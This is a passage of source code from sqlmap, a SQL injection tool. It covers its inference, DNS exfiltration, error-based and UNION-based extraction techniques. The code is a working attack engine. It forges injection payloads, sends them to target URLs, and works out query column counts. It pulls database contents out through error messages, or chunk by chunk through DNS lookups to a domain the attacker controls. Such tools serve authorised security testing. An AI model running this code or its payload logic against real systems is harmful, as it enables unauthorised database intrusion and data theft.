2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) if isinstance(length, six.string_types) and length.isspace(): length = 0 return length ================================================ FILE: lib/techniques/dns/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/techniques/dns/test.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) ================================================ FILE: lib/techniques/dns/use.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import DNS_BOUNDARIES_ALPHABET from lib.core.settings import MAX_DNS_LABEL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeDbmsHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal ================================================ FILE: lib/techniques/error/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/techniques/error/use.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange from lib.core.convert import decodeHex from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) if Backend.isDbms(DBMS.ORACLE): testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) else: testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) seen.add(current) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current and candidate not in seen else current - 1 else: current = current // 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = firstNotNone( extractRegexResult(check, page), extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) ) if output is not None: output = getUnicode(output) else: trimmed = firstNotNone( extractRegexResult(trimCheck, page), extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) ) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warning(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = r"(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, six.string_types): retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): values = [] origExpr = None width = getConsoleWidth() threadData = getCurrentThreadData() for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None if not any((suppressOutput, kb.bruteMode)): if kb.fileReadMode and output and output.strip(): print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) if isinstance(num, int): expression = origExpr values.append(output) return values def _errorReplaceChars(value): """ Restores safely replaced characters """ retVal = value if value: retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#") return retVal def _formatPartialContent(value): """ Prepares (possibly hex-encoded) partial content for safe console output """ if value and isinstance(value, six.string_types): try: value = decodeHex(value, binary=False) except: pass finally: value = safecharencode(value) return value def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(getTechnique()) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) debugMsg = "used SQL query returns " debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " if readInput(message, default='N', boolean=True): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = unArrayizeValue(output) with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append(threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value ================================================ FILE: lib/techniques/union/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/techniques/union/test.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import itertools import logging import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None @stackedmethod def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP if highCols > ORDER_BY_MAX: break else: while not found: mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found elif kb.futileUnion: return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): value = re.escape(kb.uChar.strip("'")) for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) if deviation is not None: lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) return retVal def _fuzzUnionCols(place, parameter, prefix, suffix): retVal = None if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: comment = queries[Backend.getIdentifiedDbms()].comment.query choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) for candidate in itertools.product(choices, repeat=kb.orderByColumns): if retVal: break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): for column in candidate: if column.startswith("'") and column.strip("'") in (page or ""): retVal = [(_ if _ != column else "%s") for _ in candidate] break return retVal def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, 